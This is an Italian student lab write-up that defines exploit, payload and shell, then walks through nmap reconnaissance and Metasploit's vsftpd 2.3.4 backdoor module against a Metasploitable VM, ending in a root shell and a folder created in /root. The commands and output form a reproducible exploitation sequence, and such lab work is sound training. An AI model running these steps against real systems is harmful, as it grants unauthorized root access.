

S7L1

EXPLOIT: è un programma o un insieme di istruzioni progettato per sfruttare una vulnerabilità o una debolezza in un sistema software o hardware (firmware cpu) al fine di ottenere un vantaggio non autorizzato. Gli exploit sono spesso utilizzati da hacker o malintenzionati per violare la sicurezza di un sistema e ottenere accesso non autorizzato o per eseguire azioni dannose. In sostanza, un exploit sfrutta una debolezza nel software o nel sistema per compiere attività dannose.

PAYLOAD: è la parte del codice che contiene le istruzioni o le azioni dannose che il software eseguirà sul sistema bersaglio.

SHELL: permette di creare delle connessioni da un punto A ad un punto B.

Esistono due tipi di shell: reverse shell, ovvero si crea una connessione dalla vittima verso l'attaccante, mentre bind shell dall'attaccante verso la vittima.

Nell'esercizio di oggi andremo a creare una cartella dentro la nostra macchina vittima sfruttando una vulnerabilità del servizio vsftpd sulla porta 21

```
root@kali: /home/gerardo
File Actions Edit View Help
(gerardo@kali)-[~]
$ sudo su
[sudo] password for gerardo:
(root@kali)-[/home/gerardo]
# nmap -sV 192.168.178.63
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-22 14:23 CET
Nmap scan report for 192.168.178.63
Host is up (0.00016s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login          OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  filtered ingreslock
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  filtered vnc
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:B6:2D:AA (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 64.34 seconds
(root@kali)-[/home/gerardo]
#
```

```
root@kali: ~
File Actions Edit View Help
(root@kali)-[~]
# msfconsole

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018  es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)

Stack: 90909090909090909090909090909090
90909090909090909090909090909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900
.....
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccc.....
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....cccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....
ffffffffffffffffffffffff
ffffffff.....
ffffffffffffffffffffffff
ffffffff.....
ffffffff.....
ffffffff.....e able to hear"

Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

      =[ metasploit v6.3.27-dev ]
+ -- --[ 2335 exploits - 1220 auxiliary - 413 post ]
+ -- --[ 1385 payloads - 46 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit tip: Use help <command> to learn more
about any command
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd
```

cerchiamo l'exploit giusto

```

Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

      =[ metasploit v6.3.27-dev                               ]
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post           ]
+ -- --=[ 1385 payloads - 46 encoders - 11 nops              ]
+ -- --=[ 9 evasion                                           ]

Metasploit tip: Use help <command> to learn more
about any command
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  -  -  -  -  -
  CHOST      localhost        no        The local client address
  CPORT      4444             no        The local client port
  Proxies     []               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     []               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  -  -  -  -  -

```

Una volta individuato, andiamo ad usarlo

```

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.178.63
rhosts => 192.168.178.63
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                                                                                                                      |
| RHOSTS  | 192.168.178.63  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (cmd/unix/interact):



| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
| Id   | Name            |          |             |
| 0    | Automatic       |          |             |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |


```

Settiamo l'indirizzo ip della macchina vittima

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.178.63:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.178.63:21 - USER: 331 Please specify the password.
[+] 192.168.178.63:21 - Backdoor service has been spawned, handling ...
[+] 192.168.178.63:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.178.62:37731 -> 192.168.178.63:6200) at 2024-01-22 14:27:09 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:b6:2d:aa
          inet addr:192.168.178.63  Bcast:192.168.178.255  Mask:255.255.255.0
          inet6 addr: fd00::a00:27ff:feb6:2daa/64 Scope:Global
          inet6 addr: fe80::a00:27ff:feb6:2daa/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:8371 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1565 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:710760 (694.1 KB)  TX bytes:154946 (151.3 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:408 errors:0 dropped:0 overruns:0 frame:0
          TX packets:408 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:174165 (170.0 KB)  TX bytes:174165 (170.0 KB)

```

Una volta entrati, assicuriamoci che sia andato tutto bene

```
cd /  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
tmp  
usr  
var  
vmlinuz  
cd root  
ls  
Desktop  
reset_logs.sh  
vnc.log  
mkdir test_metasploit  
ls  
Desktop  
reset_logs.sh  
test_metasploit  
vnc.log  
█
```

Andiamo a creare la nostra cartella nella directory 'root'